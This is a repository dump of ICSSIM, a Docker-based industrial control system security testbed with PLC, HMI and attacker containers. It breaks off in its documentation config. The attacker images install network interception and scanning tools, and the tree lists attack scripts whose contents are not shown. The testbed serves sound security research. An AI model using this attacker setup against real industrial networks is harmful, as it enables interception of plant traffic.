├── .github └── workflows │ ├── documentation.yml │ └── python-app.yml ├── .gitignore ├── .idea ├── ICSSIM.iml ├── inspectionProfiles │ └── profiles_settings.xml ├── misc.xml ├── modules.xml └── vcs.xml ├── Images ├── Latency.png ├── Latency_plc1_Response.png ├── Latency_plc1_loop.png ├── Screenshot from 2021-11-26 17-23-54.png ├── Screenshot from 2021-12-02 12-03-55.png ├── architecture.png ├── architecture_prudue.png ├── class_diagram.png ├── hmi1.png ├── latency_log.png ├── latency_moving_average.png ├── mitm.png ├── mitm_1.png ├── mitm_2.png ├── mitm_a.png ├── mitm_b.png ├── mitm_normal.png ├── physical_process.png ├── sample_architecture.png ├── scan_nmap1.png ├── scan_nmap2.png └── wireshark.png ├── LICENSE ├── README.md ├── deployments ├── GNS3 │ └── ICSSIM-GNS3-Portable.gns3project ├── attacker-docker │ └── Dockerfile ├── bash.sh ├── docker-compose.yml ├── ics-docker │ └── Dockerfile ├── init.sh ├── init_sniff.sh ├── monitor-component.sh ├── start.sh └── stop.sh ├── doc ├── Makefile ├── another-feature.md ├── api.md ├── conf.py ├── example.py ├── icssim.md ├── index.rst ├── make.bat ├── readme-copy.md ├── sample.md └── some-feature.md └── src ├── .Configs.py.swp ├── .idea ├── .gitignore ├── inspectionProfiles │ └── profiles_settings.xml ├── misc.xml ├── modules.xml ├── src.iml └── vcs.xml ├── Attacker.py ├── AttackerBase.py ├── AttackerMachine.py ├── AttackerRemote.py ├── CommandInjectionAgent.py ├── Configs.py ├── DDosAgent.py ├── FactorySimulation.py ├── HMI1.py ├── HMI2.py ├── HMI3.py ├── MQTTSampleConnection.txt ├── MqttHelper.py ├── PLC1.py ├── PLC2.py ├── attacks ├── command-injection.sh ├── ddos.sh ├── mitm-ettercap.sh ├── mitm-scapy.sh ├── mitm │ ├── ettercap-packets.pcap │ ├── mitm (copy).ecf │ ├── mitm-INT-42.ecf │ ├── mitm.ecf │ ├── mitm.ef │ └── mitm.sh ├── replay-scapy.sh ├── scan-ettercap.sh ├── scan-nmap.sh ├── scan-ping.sh └── scan-scapy.sh ├── ics_sim ├── Attack │ └── __pycache__ │ │ ├── ModbusCommand.cpython-310.pyc │ │ ├── ModbusPackets.cpython-310.pyc │ │ └── NetworkNode.cpython-310.pyc ├── Attacks.py ├── Device.py ├── ModbusCommand.py ├── ModbusPackets.py ├── NetworkNode.py ├── ScapyAttacker.py ├── configs.py ├── connectors.py ├── helper.py └── protocol.py ├── logs └── attack-logs │ └── .gitignore ├── start.py ├── start.sh ├── storage └── .gitignore └── tests ├── connectionTests.py ├── modbusBaseTest.py └── storage └── PhysicalSimulation1.sqlite /.github/workflows/documentation.yml: -------------------------------------------------------------------------------- 1 | name: documentation 2 | 3 | on: [push, pull_request, workflow_dispatch] 4 | 5 | permissions: 6 | contents: write 7 | 8 | jobs: 9 | docs: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - uses: actions/checkout@v3 13 | - uses: actions/setup-python@v3 14 | - name: Install dependencies 15 | run: | 16 | pip install sphinx sphinx_rtd_theme myst_parser 17 | - name: Sphinx build 18 | run: | 19 | sphinx-build doc _build 20 | - name: Deploy to GitHub Pages 21 | uses: peaceiris/actions-gh-pages@v3 22 | if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }} 23 | with: 24 | publish_branch: gh-pages 25 | github_token: ${{ secrets.GITHUB_TOKEN }} 26 | publish_dir: _build/ 27 | force_orphan: true 28 | -------------------------------------------------------------------------------- /.github/workflows/python-app.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a variety of Python versions 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python 3 | 4 | name: Python package 5 | 6 | on: 7 | push: 8 | branches: [ "main" ] 9 | pull_request: 10 | branches: [ "main" ] 11 | 12 | jobs: 13 | build: 14 | permissions: 15 | contents: read 16 | pull-requests: write 17 | 18 | runs-on: ubuntu-latest 19 | 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python 3.10 23 | uses: actions/setup-python@v3 24 | with: 25 | python-version: "3.10" 26 | - name: Install dependencies 27 | run: | 28 | python -m pip install --upgrade pip 29 | python -m pip install flake8 pytest pytest-cov 30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 31 | - name: Lint with flake8 32 | run: | 33 | # stop the build if there are Python syntax errors or undefined names 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 36 | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 37 | - name: Test with pytest and calculate coverage 38 | run: | 39 | python -m pytest --cov-report "xml:coverage.xml" --cov=./src 40 | - name: Create Coverage 41 | if: ${{ github.event_name == 'pull_request' }} 42 | uses: orgoro/coverage@v3 43 | with: 44 | coverageFile: coverage.xml 45 | token: ${{ secrets.GITHUB_TOKEN }} 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | src/__pycache__ 2 | src/ics_sim/__pycache__ 3 | src/.idea 4 | src/.idea/ 5 | commit/ 6 | deployments/traffic.pcap 7 | deployments/push-attacker-docker.sh 8 | deployments/push-ics-docker.sh 9 | .idea 10 | .idea/ 11 | src/Connection.txt 12 | src/logs/* 13 | !src/logs/attack-logs/ 14 | src/logs/attack-logs/* 15 | !src/logs/attack-logs/.gitignore 16 | src/storage/* 17 | !src/storage/.gitignore 18 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/ICSSIM.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 12 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Images/Latency.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency.png -------------------------------------------------------------------------------- /Images/Latency_plc1_Response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency_plc1_Response.png -------------------------------------------------------------------------------- /Images/Latency_plc1_loop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Latency_plc1_loop.png -------------------------------------------------------------------------------- /Images/Screenshot from 2021-11-26 17-23-54.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Screenshot from 2021-11-26 17-23-54.png -------------------------------------------------------------------------------- /Images/Screenshot from 2021-12-02 12-03-55.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/Screenshot from 2021-12-02 12-03-55.png -------------------------------------------------------------------------------- /Images/architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/architecture.png -------------------------------------------------------------------------------- /Images/architecture_prudue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/architecture_prudue.png -------------------------------------------------------------------------------- /Images/class_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/class_diagram.png -------------------------------------------------------------------------------- /Images/hmi1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/hmi1.png -------------------------------------------------------------------------------- /Images/latency_log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/latency_log.png -------------------------------------------------------------------------------- /Images/latency_moving_average.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/latency_moving_average.png -------------------------------------------------------------------------------- /Images/mitm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm.png -------------------------------------------------------------------------------- /Images/mitm_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_1.png -------------------------------------------------------------------------------- /Images/mitm_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_2.png -------------------------------------------------------------------------------- /Images/mitm_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_a.png -------------------------------------------------------------------------------- /Images/mitm_b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_b.png -------------------------------------------------------------------------------- /Images/mitm_normal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/mitm_normal.png -------------------------------------------------------------------------------- /Images/physical_process.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/physical_process.png -------------------------------------------------------------------------------- /Images/sample_architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/sample_architecture.png -------------------------------------------------------------------------------- /Images/scan_nmap1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/scan_nmap1.png -------------------------------------------------------------------------------- /Images/scan_nmap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/scan_nmap2.png -------------------------------------------------------------------------------- /Images/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/Images/wireshark.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) CodeRefinery 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # ICSSIM 3 | This is the ICSSIM source code and user manual for simulating industrial control system testbed for cybersecurity experiments. 4 | 5 | The ICSSIM framework enables cyber threats and attacks to be investigated and mitigated by building a virtual ICS security testbed customized to suit their needs. As ICSSIM runs on separate private operating system kernels, it provides realistic network emulation and runs ICS components on Docker container technology. 6 | 7 | ICSSIM can also be used to simulate any other open-loop controlling process, such as bottle filling, and allows us to build a testbed for any open-loop controlling process. 8 | 9 | # Sample Bottle Filling Factory 10 | A water tank repository is used to fill bottles during the bottle-filling factory control process. The below figure shows the overall scenario including process and hardware. The proposed control process consists of two main hardware zones, each managed by a standalone PLC, called PLC-1 and PLC-2. The water tank and valves are controlled by PLC-1. The conveyor belts are controlled by PLC-2 to switch out filled bottles with empty ones. 11 | 12 | ![The Sample bottle filling factory](Images/physical_process.png) 13 | An overview of the bottle filling factory network architecture is presented below. In the proposed network architecture, the first three layers of the Purdue reference architecture are realized. In Docker container technology, shared memory is used to implement the hard wired connection between Tiers 1 and 2. To simulate the network between Tiers 2 and 3, a Local Area Network (LAN) is created in a simulation environment. The attacker is also assumed to have access to this network as a malicious HMI, therefore we consider this node as an additional attacker in this architecture. 14 | 15 | 16 | ![Network architecture for the sample bottle filling plant](Images/sample_architecture.png) 17 | 18 | # Run a Sample Bottle Filling Factory 19 | 20 | ## Run in Docker container Environement 21 | 22 | ### Pre steps 23 | Make sure that you have already installed the following applications and tools. 24 | 25 | * git 26 | * Docker 27 | * Docker-Compose 28 | 29 | ### Getting ICSSIM and the sample project 30 | Clone The probject into your local directory using following git command. 31 | ``` 32 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM 33 | ``` 34 | 35 | check the file [Configs.py](src/Configs.py) and make sure that EXECUTION_MODE varibale is set to EXECUTION_MODE_DOCKER as follow: 36 | ``` 37 | EXECUTION_MODE = EXECUTION_MODE_DOCKER 38 | ``` 39 | 40 | ### Running the sample project 41 | Run the sample project using the prepared script 42 | [init.sh](deployments/init.sh) 43 | ``` 44 | cd ICSSIM/deployments 45 | ./init.sh 46 | ``` 47 | ### Check successful running 48 | If *init.sh* commands runs to the end, it will show the status of all containers. In the case that all containers are 'Up', then project is running successfully. 49 | You could also see the status of containers with following command: 50 | ``` 51 | sudo docker-compose ps 52 | ``` 53 | 54 | ### Operating the control system and apply cyberattacks 55 | In the directory [deployments](deployments/) there exist some scripts such as [hmi1.sh](deployments/hmi1.sh), [hmi2.sh](deployments/hmi2.sh) or [attacker.sh](deployments/attacker.sh) which can attach user to the container. 56 | 57 | ## Run in GNS3 58 | To run the ICSSIM and the sample Bottle Filling factory clone the prject and use the portable GNS3 file to create a new project in GNS3. 59 | 60 | ### Getting ICSSIM and the sample project 61 | Clone The probject into your local directory using following git command. 62 | ``` 63 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM 64 | ``` 65 | 66 | ### Import Project in GNS3 67 | Import the portable project ([deployments/GNS3/ICSSIM-GNS3-Portable.gns3project](deployments/GNS3/ICSSIM-GNS3-Portable.gns3project)) using menu **File->Import Portable Project** 68 | 69 | ## RUN as a single Python project 70 | 71 | ### Pre steps 72 | Make sure that you have already installed the following applications and tools. 73 | 74 | * git 75 | * Python 76 | * pip 77 | 78 | Make sure that you installed required packages: pyModbusTCP, memcache 79 | ``` 80 | pip install pyModbusTCP 81 | pip install memcache 82 | 83 | ``` 84 | 85 | 86 | ### Getting ICSSIM and the sample project 87 | Clone The probject into your local directory using following git command. 88 | ``` 89 | git clone https://github.com/AlirezaDehlaghi/ICSSIM ICSSIM 90 | ``` 91 | 92 | check the file [Configs.py](src/Configs.py) and make sure that EXECUTION_MODE varibale is set to EXECUTION_MODE_DOCKER as follow: 93 | ``` 94 | EXECUTION_MODE = EXECUTION_MODE_LOCAL 95 | ``` 96 | 97 | ### Running the sample project 98 | Run the sample project using the running start.py 99 | ``` 100 | cd ICSSIM/src 101 | python3 start.py 102 | ``` 103 | -------------------------------------------------------------------------------- /deployments/GNS3/ICSSIM-GNS3-Portable.gns3project: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/deployments/GNS3/ICSSIM-GNS3-Portable.gns3project -------------------------------------------------------------------------------- /deployments/attacker-docker/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM kalilinux/kali-rolling 2 | FROM ubuntu:20.04 3 | 4 | RUN mkdir src 5 | 6 | COPY ./src/ ./src/ 7 | 8 | 9 | RUN apt-get update 10 | 11 | RUN DEBIAN_FRONTEND="noninteractive" apt-get install -y tzdata 12 | 13 | RUN apt-get update \ 14 | && apt-get install -y sudo \ 15 | && apt-get install -y python3 \ 16 | && apt-get install -y iputils-ping \ 17 | && apt-get install -y net-tools \ 18 | && apt-get install -y git \ 19 | && apt-get install -y nano \ 20 | && apt-get install -y python3-pip \ 21 | && pip install pyModbusTCP \ 22 | && apt-get install -y telnet \ 23 | && apt-get install -y memcached \ 24 | && apt-get install -y python3-memcache \ 25 | && apt-get install -y ettercap-common \ 26 | && apt-get install -y nmap \ 27 | && apt-get install -y python3-scapy \ 28 | && pip install paho-mqtt 29 | 30 | WORKDIR /src 31 | 32 | #memcached -d -u nobody memcached -l 127.0.0.1:11211,10.5.0.3 33 | 34 | 35 | #COPY ./start.sh ./start.sh 36 | -------------------------------------------------------------------------------- /deployments/bash.sh: -------------------------------------------------------------------------------- 1 | 2 | sudo docker-compose exec $1 bash 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /deployments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | services: 3 | pys: 4 | build: ics-docker/. 5 | privileged: true 6 | working_dir: /src 7 | entrypoint: ["./start.sh", "FactorySimulation.py"] 8 | container_name: pys 9 | volumes: 10 | - ../src:/src 11 | - "/etc/timezone:/etc/timezone:ro" 12 | - "/etc/localtime:/etc/localtime:ro" 13 | networks: 14 | fnet: 15 | ipv4_address: 192.168.1.31 16 | 17 | plc1: 18 | build: ics-docker/. 19 | privileged: true 20 | working_dir: /src 21 | entrypoint: ["./start.sh", "PLC1.py"] 22 | container_name: plc1 23 | volumes: 24 | - ../src:/src 25 | - "/etc/timezone:/etc/timezone:ro" 26 | - "/etc/localtime:/etc/localtime:ro" 27 | networks: 28 | wnet: 29 | ipv4_address: 192.168.0.11 30 | fnet: 31 | ipv4_address: 192.168.1.11 32 | 33 | 34 | plc2: 35 | build: ics-docker/. 36 | #stdin_open: true # docker run -i 37 | #tty: true 38 | privileged: true 39 | working_dir: /src 40 | entrypoint: ["./start.sh", "PLC2.py"] 41 | container_name: plc2 42 | volumes: 43 | - ../src:/src 44 | - "/etc/timezone:/etc/timezone:ro" 45 | - "/etc/localtime:/etc/localtime:ro" 46 | networks: 47 | wnet: 48 | ipv4_address: 192.168.0.12 49 | fnet: 50 | ipv4_address: 192.168.1.12 51 | 52 | hmi1: 53 | build: ics-docker/. 54 | stdin_open: true # docker run -i 55 | tty: true 56 | working_dir: /src 57 | privileged: true 58 | entrypoint: ["./start.sh", "HMI1.py"] 59 | container_name: hmi1 60 | volumes: 61 | - ../src:/src 62 | - "/etc/timezone:/etc/timezone:ro" 63 | - "/etc/localtime:/etc/localtime:ro" 64 | networks: 65 | wnet: 66 | ipv4_address: 192.168.0.21 67 | 68 | hmi2: 69 | build: ics-docker/. 70 | stdin_open: true # docker run -i 71 | tty: true 72 | privileged: true 73 | working_dir: /src 74 | entrypoint: ["./start.sh", "HMI2.py"] 75 | container_name: hmi2 76 | volumes: 77 | - ../src:/src 78 | networks: 79 | wnet: 80 | ipv4_address: 192.168.0.22 81 | 82 | 83 | hmi3: 84 | build: ics-docker/. 85 | stdin_open: true # docker run -i 86 | tty: true 87 | privileged: true 88 | working_dir: /src 89 | entrypoint: ["./start.sh", "HMI3.py"] 90 | container_name: hmi3 91 | volumes: 92 | - ../src:/src 93 | - "/etc/timezone:/etc/timezone:ro" 94 | - "/etc/localtime:/etc/localtime:ro" 95 | networks: 96 | wnet: 97 | ipv4_address: 192.168.0.23 98 | 99 | 100 | attacker: 101 | build: attacker-docker/. 102 | stdin_open: true # docker run -i 103 | privileged: true 104 | tty: true 105 | working_dir: /src 106 | entrypoint: ["./start.sh", "Attacker.py"] 107 | container_name: attacker 108 | volumes: 109 | - ../src:/src 110 | - "/etc/timezone:/etc/timezone:ro" 111 | - "/etc/localtime:/etc/localtime:ro" 112 | 113 | networks: 114 | wnet: 115 | ipv4_address: 192.168.0.42 116 | 117 | attacker2: 118 | build: attacker-docker/. 119 | stdin_open: true # docker run -i 120 | privileged: true 121 | tty: true 122 | working_dir: /src 123 | entrypoint: ["./start.sh", "AttackerMachine.py"] 124 | container_name: attackermachine 125 | volumes: 126 | - ../src:/src 127 | - "/etc/timezone:/etc/timezone:ro" 128 | - "/etc/localtime:/etc/localtime:ro" 129 | networks: 130 | wnet: 131 | ipv4_address: 192.168.0.41 132 | 133 | attackerremote: 134 | build: attacker-docker/. 135 | stdin_open: true # docker run -i 136 | privileged: true 137 | tty: true 138 | working_dir: /src 139 | entrypoint: [ "./start.sh", "AttackerRemote.py" ] 140 | container_name: attackerremote 141 | volumes: 142 | - ../src:/src 143 | - "/etc/timezone:/etc/timezone:ro" 144 | - "/etc/localtime:/etc/localtime:ro" 145 | networks: 146 | wnet: 147 | ipv4_address: 192.168.0.43 148 | 149 | 150 | networks: 151 | wnet: 152 | driver: bridge 153 | name: icsnet 154 | ipam: 155 | config: 156 | - subnet: 192.168.0.0/24 157 | gateway: 192.168.0.1 158 | driver_opts: 159 | com.docker.network.bridge.name: br_icsnet 160 | fnet: 161 | driver: bridge 162 | name: phynet 163 | ipam: 164 | config: 165 | - subnet: 192.168.1.0/24 166 | gateway: 192.168.1.1 167 | driver_opts: 168 | com.docker.network.bridge.name: br_phynet 169 | 170 | 171 | -------------------------------------------------------------------------------- /deployments/ics-docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN mkdir src 4 | 5 | COPY ./src/ ./src/ 6 | 7 | 8 | RUN apt-get update 9 | 10 | RUN DEBIAN_FRONTEND="noninteractive" apt-get install -y tzdata 11 | 12 | RUN apt-get update \ 13 | && apt-get install -y sudo \ 14 | && apt-get install -y python3 \ 15 | && apt-get install -y iputils-ping \ 16 | && apt-get install -y net-tools \ 17 | && apt-get install -y git \ 18 | && apt-get install -y nano \ 19 | && apt-get install -y python3-pip \ 20 | && pip install pyModbusTCP \ 21 | && apt-get install -y telnet \ 22 | && apt-get install -y memcached \ 23 | && apt-get install -y python3-memcache \ 24 | && apt-get install -y ettercap-common \ 25 | && apt-get install -y nmap 26 | 27 | WORKDIR /src 28 | 29 | #memcached -d -u nobody memcached -l 127.0.0.1:11211,10.5.0.3 30 | 31 | 32 | #COPY ./start.sh ./start.sh 33 | -------------------------------------------------------------------------------- /deployments/init.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | printStep(){ 4 | echo "" 5 | echo "" 6 | echo "[" $1 "STARTED]" 7 | sleep 1 8 | } 9 | 10 | printStep "DEPLOYMENT" 11 | 12 | printStep "DOWN PREVIOUS CONTAINERS" 13 | sudo docker-compose down 14 | 15 | printStep "CTEATE TEMP SRC FILE" 16 | sudo mkdir ./ics-docker/src/ 17 | sudo mkdir ./attacker-docker/src/ 18 | 19 | printStep "PRUNING DOCKER" 20 | sudo docker system prune -f 21 | 22 | printStep 'DOCKER_COMPOSE BUILD' 23 | sudo docker-compose build 24 | 25 | printStep "REMOVE TEMP SRC FILE" 26 | sudo rm -r ./ics-docker/src/ 27 | sudo rm -r ./attacker-docker/src/ 28 | 29 | printStep 'DOCKER_COMPOSE UP' 30 | sudo docker-compose up 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /deployments/init_sniff.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | printStep(){ 4 | echo "" 5 | echo "" 6 | echo "[" $1 "STARTED]" 7 | sleep 1 8 | } 9 | 10 | printStep "DEPLOYMENT" 11 | 12 | printStep "DOWN PREVIOUS CONTAINERS" 13 | sudo docker-compose down 14 | 15 | printStep "CTEATE TEMP SRC FILE" 16 | sudo mkdir ./ics-docker/src/ 17 | sudo mkdir ./attacker-docker/src/ 18 | 19 | printStep "PRUNING DOCKER" 20 | sudo docker system prune -f 21 | 22 | printStep 'DOCKER_COMPOSE BUILD' 23 | sudo docker-compose build 24 | 25 | printStep "REMOVE TEMP SRC FILE" 26 | sudo rm -r ./ics-docker/src/ 27 | sudo rm -r ./attacker-docker/src/ 28 | 29 | printStep 'DOCKER_COMPOSE UP' 30 | sudo docker-compose up -d 31 | 32 | printStep 'DOCKER_COMPOSE UP' 33 | sudo docker-compose ps 34 | 35 | sudo tcpdump -w traffic.pcap -i br_icsnet 36 | 37 | 38 | -------------------------------------------------------------------------------- /deployments/monitor-component.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Check Args # 4 | 5 | if [ $# != 1 ]; then 6 | echo "Need 1 Argument: ICS Component name." 7 | 8 | exit 9 | fi 10 | 11 | 12 | # Check Args Value 13 | 14 | if [ $1 = "plc1" ] || [ $1 = "plc2" ] || [ $1 = "hmi1" ] || [ $1 = "hmi2" ] || [ $1 = "hmi3" ] || [ $1 = "pys" ] || [ $1 = "attacker" ] || [ $1 = "attackermachine" ] || [ $1 = "attackerremote" ] 15 | then 16 | # Mian command 17 | sudo docker container attach $1 18 | else 19 | echo "ICS component <$1> is not recognizable! " 20 | echo "Acceptable ICS Compnents: 21 | plc1 22 | plc2 23 | hmi1 24 | hmi2 25 | hmi3 26 | pys 27 | attacker 28 | attackermachine 29 | attackerremote" 30 | fi 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /deployments/start.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | printStep(){ 4 | echo "" 5 | echo "" 6 | echo "[" $1 "STARTED]" 7 | sleep 1 8 | } 9 | 10 | printStep 'DOCKER_COMPOSE UP' 11 | sudo docker-compose up -d 12 | 13 | printStep 'DOCKER_COMPOSE UP' 14 | sudo docker-compose ps 15 | 16 | sudo tcpdump -w traffic.pcap -i br_icsnet 17 | 18 | 19 | -------------------------------------------------------------------------------- /deployments/stop.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | printStep(){ 4 | echo "" 5 | echo "" 6 | echo "[" $1 "STARTED]" 7 | sleep 1 8 | } 9 | 10 | printStep "DOWN PREVIOUS CONTAINERS" 11 | sudo docker-compose down 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /doc/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = . 9 | BUILDDIR = _build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /doc/another-feature.md: -------------------------------------------------------------------------------- 1 | # More features here 2 | 3 | 4 | ## Some text 5 | 6 | (Under Construction) 7 | 8 | ICSSIM Documentation will be here! 9 | 10 | 11 | ## Table 12 | 13 | | No. | Prime | 14 | | ---- | ------ | 15 | | 1 | No | 16 | | 2 | Yes | 17 | | 3 | Yes | 18 | | 4 | No | 19 | 20 | 21 | 22 | ## Code blocks 23 | 24 | The following is a Python code block: 25 | ```python 26 | def hello(): 27 | print("Hello world") 28 | ``` 29 | 30 | And this is a C code block: 31 | ```c 32 | #include 33 | int main() 34 | { 35 | printf("Hello, World!"); 36 | return 0; 37 | } 38 | ``` 39 | 40 | 41 | ## Math 42 | 43 | This creates an equation: 44 | ```{math} 45 | a^2 + b^2 = c^2 46 | ``` 47 | 48 | This is an in-line equation, {math}`a^2 + b^2 = c^2`, embedded in text. 49 | -------------------------------------------------------------------------------- /doc/api.md: -------------------------------------------------------------------------------- 1 | # API reference 2 | 3 | This page is under construction! 4 | 5 | ## Config 6 | 7 | ```{eval-rst} 8 | .. autoclass:: Configs.Connection 9 | :imported-members: 10 | :members: 11 | :undoc-members: 12 | :show-inheritance: 13 | ``` 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /doc/conf.py: -------------------------------------------------------------------------------- 1 | # Configuration file for the Sphinx documentation builder. 2 | # 3 | # For the full list of built-in configuration values, see the documentation: 4 | # https://www.sphinx-doc.org/en/master/usage/configuration.html 5 | 6 | # -- Project information ----------------------------------------------------- 7 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information 8 | 9 | import os 10 | import sys 11 | sys.path.insert(0, os.path.abspath("../src")) 12 | 13 | project = 'ICSSIM' 14 | copyright = 'Alireza Dehlaghi Ghadim' 15 | author = 'Alireza 